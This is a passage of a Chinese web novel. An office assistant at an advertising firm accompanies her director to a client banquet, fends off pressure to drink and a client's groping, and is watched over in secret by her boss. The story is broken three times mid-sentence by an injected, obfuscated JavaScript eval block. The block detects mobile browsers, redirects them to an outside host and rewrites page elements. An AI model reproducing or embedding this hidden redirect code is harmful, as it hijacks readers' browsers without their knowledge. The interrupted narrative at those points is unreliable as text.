临出门的时候包鑫拍了拍高级策划的后背,叹了口气:“估计一会儿就得到叶总、谈总那边挨批了。” 果然,半个小时之后,顾妙到楼下复印东西,就看到叶磊、谈彬锐叫了方德潜和喻真,加上策划A组和创意A组两组,一起在会议室开会。 穿过透明玻璃望过去,大家全部都顶着一张上坟脸,即便站在外边听不到声音,也能感受到会议室里压抑的气氛。 突然有人一拍她的肩膀,顾妙吓得一哆嗦,转身看到行政部的小王。 小王拎着一只刚洗干净的杯子,好奇地看她:“想什么呢这么出神?” 顾妙冲会议室一努嘴:“喏,看着有点害怕。” “嗨,这不是他们的日常吗?”小王看了之后毫无波澜,“吵翻了天都是自己人,要是被客户怼那才难受。习惯就好了。” 小王冲她笑笑回了自己工位,顾妙却又展开了联想。 对着客户做提案,是什么感受呢?面对的都是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459415|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双双挑剔的眼睛吧。 顾妙想起以前参加跆拳道比赛,场边坐了一溜儿评委,每个人的脸都板得像棺材,面带审视,仿佛是要拿着放大镜给自己挑错儿。 不经意想起了过去的噩梦,她不由地浑身一哆嗦。 小王说的对,在自己家吵成一锅粥也没关系,站在客户面前被人不留情地提意见,那才后背发凉。 也难怪廖玄刚刚会发那么大的脾气。 “你发什么呆呢?” 顾妙再次哆嗦,回头就看到廖玄冷冷地看着她。 “廖总,我……” 廖玄毫不客气地说:“会议记录你是用脚写的吗?过脑子了吗?前言不搭后语,漏掉好几个关键点,逻辑不通——小学生写得都比你强!” 顾妙:“……我回去立刻扒录音好好改。” “今晚有个饭局,世纪明光电动平衡车的项目,相关资料你们总经办也有吧?你好好看看,跟我一起去。”廖玄嫌弃地看了她一眼,“本来不想带你,但谁让我没办法呢?!车翔不在,好在你长得还行,带出去倒是不丢人。但你到时候别乱说话,一切听我安排。” 说完他就径直进了策划部和创意部开会的小会议室,“咣”地关上门,会议室里的人们表情更加难看了。 顾妙怀着悲痛的心情,拿着一摞复印好的材料,半身不遂地上楼进了总经办,坐在自己的工位上,木头人一样地发呆。 魏如栩听见她的动静,起身跑到隔间门口,就看见她一脸沉重:“怎么了?” “老板……”顾妙仰头看着他,表情要哭不哭,“你平时对我真的太好了。” “??”魏如栩无端被夸奖,很是莫名其妙,也不知道是该嘚瑟还是该谦虚,只好按下翘起来的嘴角,“出什么事了?廖玄欺负你了?” “不存在。”顾妙摆摆手,觉得自己能力不足,也没什么好跟自家老板说的,便转了话题,告诉他晚上要跟廖玄一起去饭局的事儿。 魏如栩一听,顿时有点恼火,便要向外走:“这不合适,我去跟他说。” “哎!站住!”顾妙迅速起身,一个箭步冲过去拉住了魏如栩,“对方辩手请冷静!” “别的不说,去了得喝酒你知道吗?”魏如栩眉头结成了死疙瘩,垂着眼看向顾妙,“饭局上一群油腻腻的中老年男子,就你一只小绵羊,想过后果吗?你平时烂电视剧看得不是挺多的,怎么一点警惕性都没有?” 顾妙被他气乐了:“你才看了不少烂电视剧吧?谁说中老年男子都油腻的?看我出手那么多次,还拿我当小绵羊,老板你实在太看不起人了。” 魏如栩看不下去她这么没心没肺地笑:“跟你说正事,别耍贫嘴。” “放心吧,不会有事的,上次你跟廖玄去的是KTV,本来就是娱乐场所,肯定群魔乱舞。但这次是商务饭局,明晃晃的大灯照着,没人能把我怎么样。再说了,廖总带助理,客户肯定也带助理,正规场所,不会出问题。”顾妙轻松地说,“至于喝酒……你更不用担心了,我可是在酒吧里练过的。” “你在酒吧里,练的是喝酒吗?”魏如栩凉凉地说。 顾妙推着魏如栩往他办公室里走:“总之我心里有数,你别担心了。好歹我也是你的助理,廖总要是把我推火坑里,他怎么跟你交代?回屋忙你的去,我还得改会议记录呢。” 幸亏顾妙拉住他,魏如栩这会儿也冷静了下来,想想真是搬起石头砸自己的脚。 原本只是不想让顾妙跟车翔去看话剧,现在倒好,顾妙自己也看不成了,还得跟廖玄去“陪酒”。 可他确实不适合去找廖玄说这事儿,搞不好不等他开口,廖玄就得把他骂一顿。 做乙方的跟客户吃饭喝酒,同时拉近关系谈业务,实在是再正常不过的事儿了。客户部也有女AE,个个都是端碗斗酒的好手,她们情愿吗?还不是为了工作为了业绩。 怎么到你小魏总的助理这儿,就万分娇贵了呢? 想到这里,魏如栩分外痛恨起传统的酒文化来。 但他要跟着去,分明也是不合适的。 这跟上次KTV不一样,那是娱乐休闲,顺便套个近乎,这次是约好的饭局,双方谁去都是已知项目,他身为总经理横插一脚,一来对客户不够尊重,二来显得对廖玄不放心,简直就是当面打脸。 话说回来,廖玄也万万不能答应。 魏如栩万分内疚,因为一己私欲,不仅害得顾妙看不成话剧,还被廖玄挑肥拣瘦地胡乱拿去用。 “我自己都舍不得为难的人,他倒是一点都不带心疼的。”魏如栩暗暗给廖玄记了一账。 他也知道自己这个行为有点幼稚,但就幼稚了怎么了?什么都做不了,还不能让人记个仇? 39. 第三十九章 策略 顾妙顾不上揣摩魏如栩在想什么,也完全没在意自己错失了一直想看的话剧。这次能去见客户莫名让她有点兴奋,好像宝剑终于等到了出鞘的机会。 说起来她也不是胜负欲强的人,但是被人指责就是有点过不去,还是想争口气,换来老狐狸的一句肯定,或者证明自己也没那么差劲。 她把车翔以前记的会议记录都拿出来捋了一遍,发现他确实记得条理分明,让人看着也舒服,于是照葫芦画瓢地改了起来。 过了一会儿,魏如栩又假装没事儿地跑了出来:“哎,你晚上跟廖玄去哪吃饭?” 顾妙对着电脑时间太长,眼睛有点花,正在滴润眼液:“问过车翔了,说是在‘小洋楼’,包间叫‘安宁阁’。” 小洋楼是本市一家比较高端的酒楼,名字过于拗口,大家平时都以“小洋楼”来称呼。这酒楼主打中西混合创意菜,价格很贵,一般商业宴请或者有钱大佬才去那里消费,普通人会觉得性价比不高,保持观望态度。 听到这个饭店,魏如栩暗暗皱了皱眉,有点想砍客户部的报销额度。 “你要干什么?”顾妙眨掉眼睛里的润眼液,“泪眼朦胧”地看向魏如栩,“真的放心好了,我也不是完全不能喝酒,到时候估计还得帮忙记事儿,廖总不会让我喝醉的。而且我跟顾肖说了,万一喝多了就让他去接我。” 提到顾肖,她又嘟嘟囔囔地说:“幸好今天我把票放在家里,原本想让小姨带过来的,现在估计会便宜顾肖那小子了。” 魏如栩明知道她眼里含着的是润眼液,却还莫名觉得这样的她有点可怜巴巴,本能地想抬手帮她擦,突然又觉得不合适,犹豫了一下,便从顾妙桌上的纸巾袋里抽了张纸巾给她。 “你想多了,我什么都不想干。”小魏总傲娇地说,“就是想了解一下客户部总监请客户吃饭都什么档次。” 说着他便转身,抄着口袋往办公室里走:“不花自己的钱真是不心疼。” 顾妙的脑子还在会议记录里,没有深究魏如栩在想什么,就觉得他今天一惊一乍,怪好玩的。 下班的时候,廖玄提着公文包,经过总经理办公室门前,敲了敲敞着的门,冲顾妙一使眼色:“如栩在吗?你跟他说过了?” “嗯,说过了,小魏总还在里面呢。”顾妙看到廖玄,忙不迭起身,一边回答一边收拾东西。 魏如栩正在假装看书——其实也不是真的在假装,就是没看两个字就开始走神,想着该怎么帮顾妙解决这个难题,看见廖玄进来,他也站了起来。 “廖叔叔,晚上又有饭局?”魏如栩假模假式地说,“你少喝点酒,我记得上次咱俩都喝趴下了,你可是好几天才缓过来。” 廖玄笑了笑:“放心吧,我心里有数。你助理我可带走了,没什么不放心的吧?” 他一边说,一边试探地看着魏如栩。 魏如栩自然知道他什么意思,轻松地笑了笑:“跟你一起去,对她是个好的学习机会。你身为长辈,自然会护着小姑娘,我有什么不放心的。要不是不合适,我都想跟着去学习学习呢!” “唔,你还知道不合适,有长进!”廖玄冲他一点头,“这次没提前安排,不好突然带你过去。将来有你学习的机会。先走了!” 魏如栩目送廖玄离开,顾妙对他一笑,做了个“胜利”的手势,像个小丫鬟似地亦步亦趋地跟在廖玄身后。 只是一个普通的告别,却被魏如栩凝视出了送亲人上战场的感觉,整个人抓心挠肝,坐立不安,觉得自己非得做点什么才行。 顾妙对这次陪廖玄出去吃饭,心里大致是有数的。 之前廖玄肯定没要求过车翔跟他一起去,否则车翔不会约她今晚看话剧。那么廖玄突然要带顾妙去,很大程度就是要“历练”她。 唔,或许是因为她“长得还行,带出去不丢人”。 廖玄安没安好心不好说,但就顾妙对他的估计,应该也不会做出什么过分的事情。 被灌酒那是确定一定以及肯定的,所以就尽量做好准备吧。 因此,当廖玄要她在写字楼路边等他开车上来的时候,顾妙趁机去旁边便利店买了两瓶酸奶。一上车,她就把其中一瓶递给廖玄。 “廖总,喝点酸奶。”顾妙讨好地笑着,“万一一会儿来不及吃饭就得喝酒,好歹先能护着胃。” 廖玄开着车,瞟了她手里的酸奶一眼,又把目光移到她那张圆圆的小脸上,自己的棺材脸就绷不住了。 他一个中老年男子,面对一个可爱小姑娘那一脸试图博取自己欢心的笑,委实也严肃不起来。 但他也有心为难顾妙,于是只是略微弯了弯嘴角,摆出一张皮笑肉皮不笑的脸:“觉得自己挺机灵是吧?” 顾妙连连摇头:“真不是。上次小魏总喝得七荤八素,您做了这么多年客户,肠胃一定更脆弱。这才几天啊,又得喝大酒,我也没别的办法,只有这个馊主意,您就试试呗?” 她一边说,还一边把酸奶瓶拧开,递给廖玄:“正好等红灯,一口就喝完了——酸奶是低脂低糖的,老少咸宜。” 廖玄躲不过她怼到自己脸上的酸奶瓶,也是伸手不打笑脸人,无奈接过来:“你这不是强买强卖吗?” “这办法好用啊!”顾妙傻兮兮地冲他笑,也拧开自己手里那瓶酸奶,“以前我爸妈就是这么对付我的,百试不爽。” “别嬉皮笑脸,资料都看了吗?”廖玄喝着酸奶,嚼到里面的大果粒,顿时觉得自己萌萌哒,不适合发火,不由地音调都柔和了起来,“今天就是个饭局,也不用太紧张,看你这么会哄人,这方面的功夫可以多下一下,说点客套话,不知道怎么说就多笑,总不会出错。” 顾妙:“嗯,记住了,我一定努力好好表现。” 廖玄把最后一口酸奶喝掉,眼神刚一飘,顾妙就赶紧把酸奶瓶接过来,递给他一张纸巾,随后又眼疾手快接过他用完的纸巾,放在刚刚装酸奶的袋子里,准备一会儿下车扔掉。 虽然车翔不在,顾妙是个二把刀,廖玄得自己亲自开车。但是看这小丫头也颇会察言观色,懂得做人,他堵了一下午的心情也好了不少。 “一起吃饭的是世纪明光市场部的总监、总监助理,还有几个市场经理。我会有意多跟他们聊一下电动平衡车的宣传方向,你注意记着他们每个人说的话,回头做提案能用得上。这次比稿对我们来说很重要,如果能拿到这个项目,嘉栩将来的路会好走很多。” 顾妙连连点头:“我一定好好记,认真记。” “但是千万别犯低级错误。”廖玄目视前方,转着方向盘拐了个弯,“之前就有过这种事——不是咱们公司,一个小公司的策划跟着老板去饭局上见客户,怕自己脑子不好使用手机录音,被人当场发现。” 顾妙紧张地盯着廖玄的侧脸:“后来怎么样了?” 廖玄余光注意到小姑娘一脸焦灼的表情,很是受用,冷笑道:“当然这事儿就吹了。不仅吹了,只要人家市场部总监一天坐在那把椅子上,这家广告公司就别想跟他们合作。” “确实不该这样。”顾妙沉思了一会儿,分析道,“现在大家都在准备自己的提案,对方市场部也会跟别的广告公司见面,如果被人录了音,就有可能会被人拿来做文章,就算市场总监不偏不向,要是有公司没拿到这个项目,从中使坏,那可不就等于把市场部总监放在火上烤吗?” 廖玄:“唔,是这个意思。退一万步讲,拿不到项目没关系,但绝对不能得罪对方。否则合作的门就永远关上了。跟客户打交道,脑子一定要灵活,反应一定得快。人家要是有心帮我们,说话也不会太直白,你得自己提炼里边的意思。知道吗?” 顾妙头点得像小鸡吃米:“谢谢廖总提点。” “上班不像上学,没人希望招你来,发你工资还得教你怎么干活。你要想被上级器重,就得自己多想多学。好领导会给你挑错,留给你改正的机会,大多领导觉得不好用,直接就开除你,根本不用给你费口舌。”廖玄话一多,就喜欢给人上课,看顾妙说什么听什么,说教的瘾就上来了。 虽说顾妙也讨厌被人再教育,但是细想下来,他这番话说得也在理。 以前在各个地方打工的时候顾妙就见过这种老板,从不得罪人,也不太说哪个员工的好坏,可心里都亮堂着呢。 试用期一到,不行的立刻走人,老板只会说你不适合咱们店,也绝不挑你的毛病。因为他觉得自己没有义务替别人的父母、未来的老板教育这些员工,大家合则来不合则去,好聚好散。 人要是意识不到自己的错误,那是他的问题,跟别人无关,什么后果都得自己负责。 俩人很快到了小洋楼的停车场,从车里下来的时候,廖玄交代顾妙:“这个市场总监很能喝酒,也比较会劝酒,要是他想跟你喝,你就得喝,别扭扭捏捏小家子气。我会看情况替你挡,但估计也挡不了多少。你可以想办法拒绝,但一定不能得罪他,听明白了吗?” 顾妙:“明白。不过廖总,他吃装可怜这一套吗?” 廖玄瞪她一眼:“分寸自己拿捏,别显得像个白痴就行。记住你是来工作的,别给自己丢脸,别给公司丢脸。” 顾妙后脚跟一碰,笑着对廖玄敬了个礼:“保证完成任务!” “……”廖玄咂了咂嘴,“啧,你也是个奇葩——回头我要是喝多了,你记得找代驾。要是看咱俩情况都不妙,你就提前联系一个客户经理过来,让他来接咱俩。” “没问题,一定能把您平安送到家!” 廖玄目光在顾妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459416|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上走了一圈,轻轻摇了摇头。 确实是个挺讨人喜欢的小丫头,难怪魏如栩一直护着。且看看她今晚表现吧。 他们前脚进了小洋楼,魏如栩后脚也到了,他还特意乔装打扮了一番,戴了顶棒球帽,背了个双肩背。 小洋楼一层是散客大厅,他一进门,就有服务员迎上来问他几位。 一个人吃饭似乎不太好听,魏如栩就随口说了两位,接着便被带去了角落里的双人座。 他心思根本不在吃饭上,并不介意这个座位位置不好,还靠着楼梯,相反还觉得这里更适合他溜上楼去打探情况,甚是满意。 服务员给他倒茶水,他就漫不经心地瞟着菜单。 魏如栩来过小洋楼几回,对这里的菜式不是很感冒,反而觉得这里的所谓创意菜太装13,一味追求创意和美感,口味其实并不怎么样。 约摸着顾妙他们应该已经吃起来了,魏如栩怀着当特工的心情,溜上了二楼包间,东张西望地找了一会儿,行踪基本算是鬼鬼祟祟,迅速找到了“安宁阁”那一间。 没想到刚到门口,那门就开了。 魏如栩迅速退了好几步,拉低棒球帽,背过身去躲在墙根处,装作看手机,发现没人冲自己这边走过来,才大着胆子转身望过去,看到背对着自己向前走的是一个穿服务员制服的姑娘,才松了口气。 忽然他想到什么,大步追上那个服务员:“哎,那个……不好意思……” 服务员也是个二十出头的年轻女孩,看到魏如栩帅气的脸,无由先生三分好感。 长得好就是一种软实力,毋庸置疑。 服务员:“先生你有什么需要帮忙的吗?” 魏如栩微笑道:“麻烦问一下,你是不是今晚负责照顾安宁阁的顾客?” 说话都这么客气,服务员对他的好感又多了一分:“对啊,你也是那个包间的客人吗?我带你过去。” “那倒不是……”魏如栩犹豫了一下,摆出他见陌生人惯常用的温文尔雅脸,配上一分恰到好处的请求,扯了个谎,“我妹妹刚上班,第一次被领导带来陪客户吃饭,就是那个穿红色裙子,圆脸的姑娘。今天免不了要喝酒,我怕她……嗯……你懂的,所以能不能麻烦你,要是她有什么事,比如说被人强灌酒,或者已经喝醉了,就来通知我一声,行吗?我就在楼梯旁边那个座位。” 服务员听完他这席话,几乎快变桃心眼,连连点头:“没问题,我帮你看着。你可真是个好哥哥!” 魏如栩有点不好意思:“我也帮不了什么,只能跟在后面护着。” 服务员整天照顾包间,知道有些人喝多了什么德行,也知道很多女孩子被迫过来一定会被灌酒,就连她自己也没少被客人骚扰过。 现在见到魏如栩这么一个疼爱妹妹的“哥哥”,心里顿时软得不行,不由地被他感染代入,觉得保护他妹妹也成了自己的责任。 然后……服务员在包间里忙活了一阵才发现,这个妹妹似乎并不需要保护,需要保护的是被人称作孙总的那位五十岁男子。 饭局开始都很正常,双方简单介绍,顾妙也在廖玄的介绍下做温柔娴静状,甜甜地跟对方所有人打了招呼。 接下来廖玄控场,带话题,跟孙总及几个市场经理聊得火热,菜还没上齐,就招呼着服务员给大家倒酒倒饮料。 孙总看向文文静静的顾妙:“小顾喝什么?白酒还是果汁?” 按照往常的剧本,基本上应该是姑娘先说喝果汁,然后孙总监再劝说既然来了怎么也得喝一杯,姑娘再无可奈何地点头,给她倒酒的时候还得连连叫着“少一点少一点”。 谁知顾妙先是一愣,然后很快反应过来:“孙总您喝酒,我当然也得喝酒,还得多敬您几杯呢!” 廖玄也没料到顾助理是这么个路数,跟着吃了一惊,接着便叫服务员:“给她也满上。” 顾妙早盘算好了,如果等着被人灌,不如先灌别人。 掌握先机是取胜的第一步。 孙总哑然失笑:“看不出来啊小顾,你小小年纪,竟然是个女中豪杰。” “豪杰不敢当,但我从小就喜欢看武侠小说,最羡慕那些江湖侠客大口喝酒大块吃肉。”顾妙笑嘻嘻地说,“李老师不都说了么,人生得意须尽欢,莫使金樽空对月。” “李老师?”孙总看了廖玄一眼,顿时哈哈大笑,“第一次听人这么叫李白,挺新鲜的!来,小顾,你不说要敬我吗?咱先走一个!” 顾妙:“那可不行啊孙总,在场您和廖总最大,得您两位喝尽兴了才轮到我们小辈,来,我来帮你们倒酒。” 她一边说着,一边起身到服务员身旁,接过酒瓶给廖玄倒了个满杯。 廖玄觑了她一眼,心想这丫头果然不简单。 40. 第四十章 卖艺求生 顾妙说得也没错,大佬先喝痛快了,才轮得到他们小辈。廖玄深谙此道,主动端起酒杯,先敬了孙总一杯。 但顾妙也没闲着,挨个帮对方几个市场经理倒了酒,几声“哥哥”喊得人家也不好意思为难她这个“妹妹”。 接着她到了孙总助理身边,看对方年龄应该比对方大,亲昵地叫了一声“姐姐”,主动给她倒了果汁,理由是一会儿几个人都宾主尽欢,得留个清醒的人打点一切。 顾妙早就观察到,那位助理姐姐一见酒瓶就微微皱眉,可见是个不能喝酒的人,但是碍于跟领导来喝酒,不好意思不喝,于是随手送了顺水人情。 孙总跟廖玄喝得带劲,见顾妙又这么顾及他和他的下属,心情大好,对助理说:“也对,小郑你就随意吧。” 见顾妙主动帮自己解决了这个大问题,小郑心中十分感激,冲顾妙笑了笑:“谢谢妹子。” 顾妙莞尔:“照顾好你们,也是我的责任嘛。” 她平时也不这么“社会”,原本也是耿直一小丫头,从小到大被爸妈宠得从没“低下过高昂的头颅”,甚至还一度讨厌过这样在社交场合中太过圆滑的人。 可打工几年之后,这个自我清高的毛病就被社会给纠正过来了,一句软话就能解决的问题,没必要被耿直的脾气搞得困难重重,事半功倍。 有时候她也矫情地想一想,会不会变成了原本自己最不喜欢的那种人,但很快又想开了。 这些不过都是面具,只要最本真的自己依然坚守着认定的底线原则,戴什么面具都没关系。 正因为这样,她也特别能体会魏如栩的感受,从不会过分介意他在别人面前装成什么样子。人至察则无徒,对人对己都不能太较真,否则会累死的。 魏如栩坐在楼梯边的座位,伸长了脖子时不时往楼梯上瞟,像一只不安的猫鼬。 他点的菜已经上齐了,但是没动几口。还不知道顾小妙现在处于什么样水深火热的情况,他自然是没法放心吃饭的,只是焦虑地下意识不停喝水。 服务他这一桌的服务员妹子想必也听说了他想要保护妹妹的心思,对他非常和颜悦色,只要看他水杯里的水见底,立刻帮他续上,万不能断。 于是魏如栩在无意识之间,喝了好几大杯水,同时漫无目的地刷新着手机上的社交网络,就看到顾肖发了去看话剧的朋友圈。 顾妙估计得没错,她去不成,小姨自己一时也找不到别人作伴,就把票给了顾肖,顾肖自然是请盛缘一起去看。 于是魏如栩很贴心地给顾肖发信息:“你好好看话剧吧,晚上我把你姐送回去。” 顾肖倒也不见外:“辛苦了哥们儿。” 刚发完消息,魏如栩照常伸头往楼上看,就看见安宁阁的服务员出来了,他担心地站起来:“怎么样了?” 服务员连连摆手:“不用担心,你妹妹控场本事一级棒,先劝着两个领导喝酒,自己到现在滴酒没沾!她可真行,也没多说什么废话,也没故意卖萌装可怜,每句话都在点子上,大家就乖乖听她的。” 魏如栩听了她的话,怔了一怔,随即忍不住,“噗嗤”一声笑了出来。 也对,顾妙这个野路子,绝对不会缩在别人背后装鹌鹑,她一定会主动出击,把握先机。 她会懂得怎么保护自己。 可即便这样,该喝酒的肯定躲不过,也不知道她酒量怎么样,但愿不是半杯倒。 魏如栩诚恳地对服务员说:“也就一开始能这样,谁知道那俩领导喝高兴了会不会逼着她也多喝?还是麻烦你给照应着,万分感谢。” “你放心,我既然答应了就肯定帮你好好看着。”服务员看着桌上没怎么动的饭菜,关心地多说了一句,“别太担心了,你也好好吃饭吧。” 魏如栩温柔地冲她点头一笑,看的服务员妹子脸一红,低头脚步匆匆地上了楼。 酒喝高兴了,大家的话匣子也打开了。廖玄带着话题,一直在聊各种关于电动平衡车的事情。 孙总被挠到了痒痒,很是兴奋,手舞足蹈地说着国内外电动平衡车的现状、销量和技术,言语之间自然是对自家产品毫不保留地夸赞,说得这产品简直天上有地下无。 旁边几个市场经理似乎专门是来捧臭脚的,时不时点头附和,在领导面前也不太方便话太多,事事还是以孙总马首是瞻。 顾妙就在旁边仔细听着他们的话,恨不能把他们说过的东西、尤其是对自家产品的夸奖全都刻在大脑皮层上。 但她还得盯着节奏,找准时机去给廖玄倒酒,在大家说得正high的时候给孙总敬酒助兴。 在她的见缝插针下,孙总和廖玄已经喝了好几个来回,两个人都喝得可真是红光满面,越聊越high,已经进入行酒令阶段。 顾妙就接着机会赶紧往嘴里塞吃的,一瓶酸奶哪管够,还是胃里有食儿才可能抗住酒。她并不觉得自己刚刚的表现能帮她躲过被人灌酒的命运,也没想着要“控场”,只是多少了解一些如孙总这样人的心理。 爱灌别人酒的人,往往心里多少有点征服欲,对方连连拒绝,他步步紧逼,直到达成目的,把别人灌趴下,这样自己心中会非常有成就感。 而如果像顾妙这样主动大方跟他喝,征服欲大打折扣,他反而就没那么大兴趣了。 但顾妙也没心存幻想,刚刚自己都豪气干云地那么说了,如果被孙总发现她鸡贼躲酒,肯定也会非常不高兴。 大家都是人精,孙总廖玄还是老人精,在他们面前使心眼占不到任何便宜,该老实的时候还是得老实。 她观察着孙总和廖玄已经你来我往了几个回合,两个人差不多已经喝到一半,再拖下去等着孙总问她就不太好了,于是端起酒杯主动出击。 几句冠冕堂皇的漂亮话一说,孙总被小姑娘哄得开心,笑得见牙不见眼,自然是顾妙敬一杯,他干一杯,看起来确实酒量挺好,三杯白酒下肚,醉意并没见长。 顾妙看他状态那么好,心中猛地一紧:“如果不能尽快灌醉他,岂不要完?” 谁知更令她没想到的是,孙总拍了拍一边的助理:“小郑,你跟小顾换换。小顾,过来,到我这儿来坐,好不容易碰上个这么有个性的,来,咱爷俩喝个尽兴。” 顾妙心里泪流满面,她看向廖玄,廖玄似笑非笑地看着她,仿佛在说“自己挖的坑自己填”。 出来混早晚是要还的,伸出去的脸一定会被打的。 孙总见她还在犹豫,皱起眉头:“怎么了?之前不还说要多敬我几杯,现在怂了?” “那倒没有,我就是在想,咱们这么干喝也没什么意思,不如玩点花样。”顾妙端着酒杯坐到了孙总旁边。 孙总听她这么一说,笑得分外猥琐,一条胳膊已经搭在了顾妙的椅背上,笑得皱纹能夹死苍蝇:“哦?想玩什么花样?” 顾妙一看他那眼神,就知道他想歪了,端着一脸单纯的笑说道:“您还不知道吧,我以前上学的时候在酒吧打工,考过调酒师证,不如我调几款酒给您尝尝?” “看不出来啊,还是个行家?!那行,你尽管试试。”孙总说着,那条胳膊就不老实地往顾妙肩膀上凑,手掌已经搭上了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459417|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩头。 顾妙感觉到他手心的热度,心里一阵恶心,立刻站了起来,顺势把他的手给抖了下去:“调酒图个乐呵,可不能糟蹋了这好白酒。服务员,麻烦拿瓶普通白酒,来点椰汁、冰块、冰可乐和切成片的柠檬,哦对,再来瓶干红,外加几个高脚杯,别忘了雪克壶。尽快哈!” 服务员本就盯着她,这会儿她一开口,爽快地答应,麻利地出了包间去准备。 孙总听她说了这么多东西,有点头晕目眩,冲廖玄说:“这丫头还有这样的绝活,你知道吗?” 廖玄陪着笑:“嗨,年轻人嘛,感兴趣的东西多,净学些奇怪的本事。” “不奇怪不奇怪,这样多好玩。”孙总招呼顾妙,“来来来,别干站着,坐下坐下。” 顾妙躲过他冲自己手腕伸过来的手,拿起酒瓶给他倒满:“这会儿我再敬您几杯。” 刚才连着喝了三杯白酒,虽然杯子不大,但顾妙已经觉得有点眩晕。她知道自己坐下肯定免不了跟孙总会有肢体接触,于是想办法尽量拖延,希望服务员能尽快把她刚才要的东西拿过来。 廖玄这会儿也招呼起那几个市场经理:“哎,几个小伙子,还没敬你们孙总呢吧?走几个呀!将来你们升职加薪都得靠孙总,这么好的机会还不赶紧表现?” 顾妙知道这是廖玄在为自己拖时间,感激地冲他笑了笑。 廖玄假装没看见她的表情,自顾自地抽了一口电子烟。 三个小伙会意,也赶紧端起酒杯,挨个跑到孙总面前敬酒,其中有个一看就是惯上酒场,说起话来一套接着一套,听着孙总直皱眉。 孙总:“行了行了,没发现你还挺能说的,别变着法劝我喝酒,我得留着肚子喝小顾调的酒。” 楼下,魏如栩听了服务员的汇报,便知道顾妙想干什么。她是觉得光喝白酒估计灌不倒孙总,打算借调酒的名义掺酒。 这小丫头片子,鬼主意还挺多! “麻烦你快点准备,有什么先上什么。”魏如栩焦急地说,“要是需要我帮忙跑腿,你尽管开口。” 服务员听了立刻说:“你放心,这些东西店里都有,我这就弄好送上去。” 几个服务员一起帮忙,很快就把顾妙要的东西准备好,魏如栩不放心,跟着端着餐盘的服务员去了二楼。 刚上到走廊,魏如栩仗着身高比较高,越过服务员的脑袋就看到了安宁阁的门开了,顾妙推开门出来。 魏如栩本能地一转身躲在了楼梯的墙后面,他听见顾妙跟服务员说:“辛苦了,放桌上就行。” 听着说话声音还挺正常的,应该没事吧? 魏如栩悄悄探头一看,见顾妙扶着墙向洗手间走去,看起来脚步有点发虚,可能还是酒劲上头了。 他实在不放心,小心翼翼地跟了上去。可他又不方便跟进女厕所,更不好在厕所门口张望,只能假装在公共洗手池洗手,为了听着里面的动静,把水流开到最小,完全没有意识到现在的自己很像个偷窥狂。 接着他就听到了洗手间里传来呕吐的声音,心头一慌,迈开长腿就想往女厕所里闯,被人一把拉住,回头一看是服务员。 服务员一脸惊恐:“大哥,这是女厕所!” 魏如栩心慌意乱:“她在里边吐了!” “我替你进去看她。”服务员无奈地摇摇头,“你站远点,别离女厕所这么近。” 魏如栩依言退了好几步,轻声喊:“哎,别说我在这儿,要不她得不高兴了。” 服务员叹了口气,心想:“这真是哥哥么,怎么觉得像是男朋友?” 41. 第四十一章 醉猫 顾妙在洗手间里确实是吐了,刚刚连着又敬了孙总几杯白酒,觉得胃里一直翻腾,她有意跑出来抠喉,想把喝下去的酒能吐出多少算多少,虽然免不了还是会醉,但至少不会太难受。 这会儿就听到有人敲她隔间的门,服务员的声音传了过来:“女士,你没事吧?需要帮忙吗?” 顾妙打开门,冲服务员妹子一笑:“没事,谢谢。” 魏如栩在外面听着两人对话,知道顾妙正走出来,赶紧躲进了男洗手间,一不小心跟一个喝多了的胖子撞了个满怀。 胖子恰巧响亮地打了个酒嗝……小魏总差点被他熏得晕过去! 等他头重脚轻、脚步虚浮地从洗手间出来,就看见服务员妹子陪着顾妙刚好进了包间。 魏如栩在包间门口来回转悠,心神不宁地掏出手机给顾妙发微信,装作若无其事地问:“饭局进展如何?喝多了吗?” 他自然没能收到任何回复,因为顾妙正在包间里卖艺。 饭店不如酒吧有那么齐全的材料,但她的目的就是为了灌醉孙总,也顾不上许多,干脆放飞自我瞎调一气。 她先是用白酒掺了一点红酒,又兑了一点鲜橙汁,加冰块摇匀,顺便表演了几个扔雪克壶的炫酷动作,引发在场人假模假式地欢呼,然后把调好的酒倒进了高脚杯里。 “这款酒叫‘欢迎’,特意给孙总您调的,期待将来能跟您合作。”顾妙刚才喝下去的白酒开始起作用,搞得她眼前有点发虚。她强行稳住心神,毕恭毕敬地把酒端给了孙总,“您尝尝好喝不好喝。” 孙总喝了一晚上,也差不多到了个人酒量的八成,他晕晕乎乎,端着这杯“两掺”,笑眯眯地看着顾妙:“既然是‘欢迎’,那不能我一个人喝,我也十分欢迎你们,大家都得来一杯!” 